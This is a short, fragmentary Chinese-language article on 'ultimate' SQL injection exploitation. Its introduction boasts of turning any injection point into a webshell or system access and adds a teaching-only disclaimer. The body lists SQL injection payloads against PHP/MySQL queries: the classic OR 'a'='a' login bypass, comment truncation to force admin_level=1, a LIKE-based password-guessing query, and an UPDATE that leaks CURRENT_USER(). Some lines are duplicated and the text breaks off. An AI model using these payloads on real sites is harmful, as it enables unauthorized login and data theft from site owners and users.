sql injection终极利用方法

内容提要：————只要给我一个注射点，无论什么权限，我都给你一个webshell甚至系统权限 声明：本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大，原文已经经过大量删减及修改，即使这样本 ……

title字段
update article SET title=CURRENT_USER() where id=1
#把当前会话被验证匹配的用户名更新到title字段

：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：
$req = "select * FROM membres where name like ''%$search%'' ORDER BY name";
select * FROM membres where name like ''%%'' ORDER BY uid#%'' ORDER BY name
select * FROM membres where name like ''%%'' ORDER BY uid#%'' ORDER BY name
select uid FROM admins where login='''' OR ''a''=''a'' AND password='''' OR ''a''=''a'' （经典）
select uid FROM admins where login='''' OR admin_level=1#'' AND password=''''
select * FROM table where msg like ''%hop''
select uid FROM membres where login=''Bob'' AND password like ''a%''#'' AND password=''''
select * FROM membres where name like ''%%'' ORDER BY uid#%'' ORDER BY name